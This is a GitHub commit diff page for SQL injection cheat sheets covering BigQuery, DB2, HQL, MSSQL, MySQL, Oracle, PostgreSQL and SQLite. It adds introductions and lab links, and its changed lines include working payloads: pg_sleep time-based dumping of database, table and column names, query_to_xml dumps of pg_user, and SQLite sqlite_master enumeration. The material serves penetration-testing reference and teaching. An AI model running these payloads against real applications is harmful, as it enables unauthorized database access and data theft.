You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: SQL Injection/BigQuery Injection.md
+5-1Lines changed: 5 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,4 +1,6 @@
1
-
# Google BigQuery SQL Injection
1
+
# Google BigQuery SQL Injection
2
+
3
+
> Google BigQuery SQL Injection is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.
2
4
3
5
## Summary
4
6
@@ -10,6 +12,7 @@
10
12
*[BigQuery Time Based](#bigquery-time-based)
11
13
*[References](#references)
12
14
15
+
13
16
## Detection
14
17
15
18
* Use a classic single quote to trigger an error: `'`
@@ -62,6 +65,7 @@ dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY
62
65
63
66
* Time based functions does not exist in the BigQuery syntax.
64
67
68
+
65
69
## References
66
70
67
71
*[BigQuery SQL Injection Cheat Sheet - Ozgur Alp - February 14, 2022](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac)
Copy file name to clipboardExpand all lines: SQL Injection/DB2 Injection.md
+1Lines changed: 1 addition & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -2,6 +2,7 @@
2
2
3
3
> IBM DB2 is a family of relational database management systems (RDBMS) developed by IBM. Originally created in the 1980s for mainframes, DB2 has evolved to support various platforms and workloads, including distributed systems, cloud environments, and hybrid deployments.
Copy file name to clipboardExpand all lines: SQL Injection/HQL Injection.md
+1-1Lines changed: 1 addition & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -2,6 +2,7 @@
2
2
3
3
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
4
4
5
+
5
6
## Summary
6
7
7
8
*[HQL Comments](#hql-comments)
@@ -15,7 +16,6 @@
15
16
*[Methods by DBMS](#methods-by-dbms)
16
17
*[References](#references)
17
18
18
-
:warning: Your input will always be between the percentage symbols: `%INJECT_HERE%`
Copy file name to clipboardExpand all lines: SQL Injection/MSSQL Injection.md
+3Lines changed: 3 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,5 +1,8 @@
1
1
# MSSQL Injection
2
2
3
+
> MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.
Copy file name to clipboardExpand all lines: SQL Injection/MySQL Injection.md
+3Lines changed: 3 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,5 +1,8 @@
1
1
# MySQL Injection
2
2
3
+
> MySQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database's integrity and security.
Copy file name to clipboardExpand all lines: SQL Injection/OracleSQL Injection.md
+3Lines changed: 3 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,5 +1,8 @@
1
1
# Oracle SQL Injection
2
2
3
+
> Oracle SQL Injection is a type of security vulnerability that arises when attackers can insert or "inject" malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications.
; #Used to terminate a SQL command. The only place it can be used within a statement is within a string constant or quoted identifier.
40
-
||#or statement
41
-
42
-
# usage examples:
43
-
/?whatever=1;(select1from pg_sleep(5))
44
-
/?whatever=1||(select1from pg_sleep(5))
45
-
```
46
41
47
42
## PostgreSQL Version
48
43
@@ -136,7 +131,7 @@ SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
136
131
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
137
132
```
138
133
139
-
## PostgreSQL XML helpers
134
+
## PostgreSQL XML Helpers
140
135
141
136
```sql
142
137
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
@@ -151,6 +146,7 @@ select database_to_xmlschema(true,true,''); -- dump the current db to an XML sch
151
146
152
147
Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.
153
148
149
+
154
150
## PostgreSQL Blind
155
151
156
152
```sql
@@ -160,24 +156,28 @@ Note, with the above queries, the output needs to be assembled in memory. For la
160
156
161
157
## PostgreSQL Time Based
162
158
163
-
#### Identify time based
159
+
#### Identify Time Based
164
160
165
161
```sql
166
162
select1from pg_sleep(5)
167
163
;(select1from pg_sleep(5))
168
164
||(select1from pg_sleep(5))
169
165
```
170
166
171
-
#### Database dump time based
167
+
#### Database Dump Time Based
168
+
172
169
```sql
173
170
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit1
174
171
```
175
172
176
-
#### Table dump time based
173
+
#### Table Dump Time Based
174
+
177
175
```sql
178
176
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end frominformation_schema.tableslimit1
179
177
```
180
-
#### columns dump time based
178
+
179
+
#### Columns Dump Time Based
180
+
181
181
```sql
182
182
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit1
183
183
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value'limit1
@@ -191,12 +191,13 @@ AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
Copy file name to clipboardExpand all lines: SQL Injection/README.md
+19-9Lines changed: 19 additions & 9 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,13 +1,7 @@
1
1
# SQL Injection
2
2
3
-
> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.
3
+
> SQL Injection (SQLi) is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. SQL Injection is one of the most common and severe types of web application vulnerabilities, enabling attackers to execute arbitrary SQL code on the database. This can lead to unauthorized data access, data manipulation, and, in some cases, full compromise of the database server.
4
4
5
-
Attempting to manipulate SQL queries may have goals including:
6
-
7
-
- Information Leakage
8
-
- Disclosure of stored data
9
-
- Manipulation of stored data
10
-
- Bypassing authorization controls
11
5
12
6
## Summary
13
7
@@ -21,7 +15,8 @@ Attempting to manipulate SQL queries may have goals including:
@@ -33,6 +28,8 @@ Attempting to manipulate SQL queries may have goals including:
33
28
*[No Comma Allowed](#no-comma-allowed)
34
29
*[No Equal Allowed](#no-equal-allowed)
35
30
*[Case modification](#case-modification)
31
+
*[Labs](#labs)
32
+
*[References](#references)
36
33
37
34
38
35
## Tools
@@ -41,7 +38,7 @@ Attempting to manipulate SQL queries may have goals including:
41
38
*[r0oth3x49/ghauri](https://github.com/r0oth3x49/ghauri) - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws
42
39
43
40
44
-
## Entry point detection
41
+
## Entry Point Detection
45
42
46
43
Detecting the entry point in SQL injection (SQLi) involves identifying locations in an application where user input is not properly sanitized before it is included in SQL queries.
47
44
@@ -358,6 +355,19 @@ Bypass using LIKE/NOT IN/IN/BETWEEN
* [PortSwigger - SQL injection with filter bypass via XML encoding](https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding)
Copy file name to clipboardExpand all lines: SQL Injection/SQLite Injection.md
+30-22Lines changed: 30 additions & 22 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,37 +1,41 @@
1
1
# SQLite Injection
2
2
3
+
> SQLite Injection is a type of security vulnerability that occurs when an attacker can insert or "inject" malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.
4
+
5
+
3
6
## Summary
4
7
5
-
*[SQLite comments](#sqlite-comments)
6
-
*[SQLite version](#sqlite-version)
7
-
*[String based - Extract database structure](#string-based---extract-database-structure)
8
-
*[Integer/String based - Extract table name](#integerstring-based---extract-table-name)
9
-
*[Integer/String based - Extract column name](#integerstring-based---extract-column-name)
10
-
*[Boolean - Count number of tables](#boolean---count-number-of-tables)
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table'and tbl_name NOT like'sqlite_%'
47
53
```
48
54
49
-
## Integer/String based - Extract column name
55
+
56
+
## Integer/String Based - Extract Column Name
50
57
51
58
```sql
52
59
SELECT sql FROM sqlite_master WHERE type!='meta'AND sql NOT NULLAND name ='table_name'
@@ -64,37 +71,38 @@ Cleaner output
64
71
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
65
72
```
66
73
67
-
## Boolean - Count number of tables
74
+
75
+
## Boolean - Count Number Of Tables
68
76
69
77
```sql
70
78
and (SELECTcount(tbl_name) FROM sqlite_master WHERE type='table'and tbl_name NOT like'sqlite_%' ) < number_of_table
71
79
```
72
80
73
-
## Boolean - Enumerating table name
81
+
## Boolean - Enumerating Table Name
74
82
75
83
```sql
76
84
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table'and tbl_name not like'sqlite_%'limit1 offset 0)=table_name_length_number
77
85
```
78
86
79
-
## Boolean - Extract info
87
+
## Boolean - Extract Info
80
88
81
89
```sql
82
90
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table'and tbl_name NOT like'sqlite_%'limit1 offset 0) > hex('some_char')
83
91
```
84
92
85
-
## Boolean - Extract info (order by)
93
+
###Boolean - Extract Info (order by)
86
94
87
95
```sql
88
96
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table'and tbl_name NOT like'sqlite_%'limit1 offset 0) = hex('some_char') THEN <order_element_1> ELSE <order_element_2> END
89
97
```
90
98
91
-
## Boolean - Error based
99
+
## Boolean - Error Based
92
100
93
101
```sql
94
102
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
95
103
```
96
104
97
-
## Time based
105
+
## Time Based
98
106
99
107
```sql
100
108
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
0 commit comments